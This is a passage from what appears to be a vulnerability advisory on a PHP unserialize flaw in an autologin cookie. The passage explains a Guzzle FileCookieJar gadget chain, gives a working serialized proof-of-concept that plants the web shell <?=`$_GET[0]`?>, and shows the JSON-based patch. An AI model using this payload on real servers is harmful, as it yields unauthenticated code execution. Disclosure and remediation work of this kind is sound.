class=\"nf\"\u003esave\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003estring\u003c/span\u003e \u003cspan class=\"nv\"\u003e$filename\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"nx\"\u003evoid\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nv\"\u003e$json\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e[];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003eforeach\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$this\u003c/span\u003e \u003cspan class=\"k\"\u003eas\u003c/span\u003e \u003cspan class=\"nv\"\u003e$cookie\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eCookieJar\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"na\"\u003eshouldPersist\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$cookie\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$this\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003estoreSessionCookies\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"nv\"\u003e$json\u003c/span\u003e\u003cspan class=\"p\"\u003e[]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nv\"\u003e$cookie\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003etoArray\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003efalse\u003c/span\u003e \u003cspan class=\"o\"\u003e===\u003c/span\u003e \u003cspan class=\"nx\"\u003e\\file_put_contents\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$filename\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eUtils\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"na\"\u003ejsonEncode\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$json\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"nx\"\u003e\\LOCK_EX\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"k\"\u003ethrow\u003c/span\u003e \u003cspan class=\"k\"\u003enew\u003c/span\u003e \u003cspan class=\"nx\"\u003e\\RuntimeException\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;Unable to save file \u003c/span\u003e\u003cspan class=\"si\"\u003e{\u003c/span\u003e\u003cspan class=\"nv\"\u003e$filename\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eWhen the object destructs, it calls \u003ccode\u003efile_put_contents()\u003c/code\u003e with a path and content we control. The \u003ccode\u003eshouldPersist()\u003c/code\u003e check requires either \u003ccode\u003eExpires\u003c/code\u003e to be set or \u003ccode\u003estoreSessionCookies\u003c/code\u003e to be true, and \u003ccode\u003eDiscard\u003c/code\u003e to be false. The PoC sets all three to pass the gate. The \u0026ldquo;Name\u0026rdquo; field of a \u003ccode\u003eSetCookie\u003c/code\u003e object gets included verbatim in the JSON output. Set it to a PHP short tag and the server executes it when the file is requested.\u003c/p\u003e\n\u003cp\u003eThe written file looks like:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e[{\u003c/span\u003e\u003cspan class=\"nt\"\u003e\u0026#34;Name\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u0026lt;?=`$_GET[0]`?\u0026gt;\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"nt\"\u003e\u0026#34;Value\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;x\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"nt\"\u003e\u0026#34;Domain\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;localhost\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"err\"\u003e...\u003c/span\u003e\u003cspan class=\"p\"\u003e}]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003ePHP ignores the JSON around it. It only cares about the \u003ccode\u003e\u0026lt;?=\u003c/code\u003e tag.\u003c/p\u003e\n\u003ch2 id=\"proof-of-concept\"\u003eProof of concept\u003ca href=\"#proof-of-concept\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ea:3:{                             \u0026lt;- array wrapper (to avoid TypeError)\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  s:3:\u0026#34;key\u0026#34;;s:1:\u0026#34;x\u0026#34;;              \u0026lt;- satisfies isset($data[\u0026#39;key\u0026#39;])\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  s:7:\u0026#34;user_id\u0026#34;;s:1:\u0026#34;1\u0026#34;;          \u0026lt;- satisfies isset($data[\u0026#39;user_id\u0026#39;])\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  s:3:\u0026#34;jar\u0026#34;;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  O:31:\u0026#34;GuzzleHttp\\Cookie\\FileCookieJar\u0026#34;:4:{\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    S:36:\u0026#34;\\00GuzzleHttp\\5cCookie\\5cCookieJar\\00cookies\u0026#34;;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e           ^^^          ^^^     ^^^          ^^^\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e         null byte   backslash            null byte\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    a:1:{i:0;O:27:\u0026#34;GuzzleHttp\\Cookie\\SetCookie\u0026#34;:1:{\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      S:33:\u0026#34;\\00GuzzleHttp\\5cCookie\\5cSetCookie\\00data\u0026#34;;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      a:9:{\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        s:4:\u0026#34;Name\u0026#34;;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        S:15:\u0026#34;\\3c\\3f=\\60$_GET[0]\\60\\3f\\3e\u0026#34;;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e              ^^^^     ^^^^      ^^^^\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e               \u0026lt;?       `        ?\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        s:5:\u0026#34;Value\u0026#34;;s:1:\u0026#34;x\u0026#34;;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        s:6:\u0026#34;Domain\u0026#34;;s:9:\u0026#34;localhost\u0026#34;;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        s:4:\u0026#34;Path\u0026#34;;s:1:\u0026#34;/\u0026#34;;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        s:7:\u0026#34;Max-Age\u0026#34;;N;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        s:7:\u0026#34;Expires\u0026#34;;i:9999999999;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        s:6:\u0026#34;Secure\u0026#34;;b:0;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        s:7:\u0026#34;Discard\u0026#34;;b:0;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        s:8:\u0026#34;HttpOnly\u0026#34;;b:0;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      }\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    }}\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    S:39:\u0026#34;\\00GuzzleHttp\\5cCookie\\5cCookieJar\\00strictMode\u0026#34;;b:0;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    S:41:\u0026#34;\\00GuzzleHttp\\5cCookie\\5cFileCookieJar\\00filename\u0026#34;;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    s:31:\u0026#34;filename.php\u0026#34;;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    S:52:\u0026#34;\\00GuzzleHttp\\5cCookie\\5cFileCookieJar\\00storeSessionCookies\u0026#34;;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    b:1;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"impact\"\u003eImpact\u003ca href=\"#impact\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eUnauthenticated RCE as the web server user.\u003c/p\u003e\n\u003cp\u003eThere is evidence suggesting active exploitation in the wild. See \u003ca href=\"#disclosure-process-notes\"\u003edisclosure process notes\u003c/a\u003e.\u003c/p\u003e\n\u003ch2 id=\"remediation\"\u003eRemediation\u003ca href=\"#remediation\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003ev3.4.1 replaces \u003ccode\u003eserialize()\u003c/code\u003e/\u003ccode\u003eunserialize()\u003c/code\u003e with \u003ccode\u003ejson_encode()\u003c/code\u003e/\u003ccode\u003ejson_decode()\u003c/code\u003e. JSON cannot instantiate PHP objects, so the deserialization vector is eliminated here.\u003c/p\u003e\n\u003cp\u003eThe patched \u003ccode\u003eautologin()\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e \u003cspan class=\"k\"\u003efunction\u003c/span\u003e \u003cspan class=\"nf\"\u003eautologin\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e \u003cspan class=\"nx\"\u003eis_logged_in\u003c/span\u003e\u003cspan class=\"p\"\u003e())\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nv\"\u003e$this\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003eload\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003ehelper\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;cookie\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$cookie\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eget_cookie\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;autologin\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"k\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"nv\"\u003e$data\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003ejson_decode\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$cookie\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"k\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e \u003cspan class=\"nx\"\u003eis_array\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$data\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"nx\"\u003edelete_cookie\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;autologin\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;aal\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"k\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eisset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;key\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e])\u003c/span\u003e \u003cspan class=\"k\"\u003eand\u003c/span\u003e \u003cspan class=\"nx\"\u003eisset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;user_id\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e]))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e \u003cspan class=\"nx\"\u003eis_numeric\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;user_id\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e])\u003c/span\u003e \u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"o\"\u003e!\u003c/span\u003e \u003cspan class=\"nx\"\u003eis_string\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;key\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e]))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                    \u003cspan class=\"nx\"\u003edelete_cookie\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;autologin\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;aal\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"k\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e \u003cspan class=\"nx\"\u003eis_null\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$user\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nv\"\u003e$this\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003euser_autologin\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003eget\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                    \u003cspan class=\"nv\"\u003e$data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;user_id\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e \u003cspan class=\"nx\"\u003ehash\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;sha256\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;key\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e])\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"p\"\u003e)))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                    \u003cspan class=\"c1\"\u003e// ...login proceeds\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe patched \u003ccode\u003ecreate_autologin()\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e \u003cspan class=\"k\"\u003efunction\u003c/span\u003e \u003cspan class=\"nf\"\u003ecreate_autologin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$user_id\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$staff\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003e$this\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003eload\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003ehelper\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;cookie\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003e$key\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003ebin2hex\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003erandom_bytes\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e32\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003e$this\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003euser_autologin\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003edelete\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$user_id\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$key\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$staff\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$this\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003euser_autologin\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003eset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$user_id\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003ehash\u003c/span\u003e\u003cspan 